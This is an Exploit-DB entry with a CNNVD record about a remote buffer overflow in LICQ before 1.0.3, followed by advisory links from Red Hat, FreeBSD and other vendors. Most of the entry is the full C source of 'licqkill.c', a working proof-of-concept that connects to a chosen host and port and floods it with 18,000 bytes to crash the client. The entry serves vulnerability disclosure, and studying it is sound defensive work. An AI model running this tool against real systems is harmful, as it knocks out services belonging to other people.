https://www.exploit-db.com/exploits/20646
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200107-015

licq1.0.3之前版本的对数函数存在缓冲区溢出漏洞。远程攻击者利用该漏洞导致服务拒绝和可能执行任意命令。

source: http://www.securityfocus.com/bid/2406/info

At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution.

/*
 * Name: Licqkill.c
 * Author: Stan Bubrouski <[email protected]>
 * Date: December 26, 2000
 * Description: Licq will crash when 16707 or more characters are sent to the port
 *              Licq is listening on.  Finding the port Licq is running on is pretty
 *              simple because by default it starts using ports around 1100 or so.  This
 *              has been tested against Licq v.85 and v1.0.2
 * Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.
 */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv)
{
	char buf[18000];
	int i, sock, result;
	struct sockaddr_in sin;
	struct hostent *hn;

	printf("licqkill.c - Licq remote DoS by Stan Bubrouski <[email protected]>nn");

	if (argc < 3) 
	{
		fprintf(stderr, "Usage: %s <host> <port>n", argv[0]);
		exit(-1);
	}

	hn = gethostbyname(argv[1]);

	if (!hn)
	{
		fprintf(stderr, "%s: host lookup failuren", argv[1]);
		exit(-1);
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(argv[2]));
	sin.sin_addr = *(struct in_addr *)hn->h_addr;
	sock = socket(AF_INET, SOCK_STREAM, 0);
	result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

	if (result != 0) 
	{ 
		fprintf(stderr, "Failed to establish connection to %sn", argv[1]);
		exit(-1);
	}
	
	if (sock < 0)
	{
		fprintf(stderr, "Socket error.");
		exit(-1);
	}

	for (i=0; i<18000; i++)
		strncat(buf, "A", 1);
	send(sock, buf, sizeof(buf), 0);
	close(sock);
	fprintf(stdout, "Data sentnn");
}

来源:MANDRAKE
名称:MDKSA-2001:032
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-032.php3
来源:CONECTIVA
名称:CLA-2001:389
链接:http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio;=000389
来源:FREEBSD
名称:FreeBSD-SA-01:35
链接:http://archives.neohapsis.com/archives/freebsd/2001-04/0607.html
来源:XF
名称:licq-logging-bo(6645)
链接:http://xforce.iss.net/static/6645.php
来源:REDHAT
名称:RHSA-2001:023
链接:http://www.redhat.com/support/errata/RHSA-2001-023.html
来源:REDHAT
名称:RHSA-2001:022
链接:http://www.redhat.com/support/errata/RHSA-2001-022.html
来源:OSVDB
名称:5601
链接:http://www.osvdb.org/5601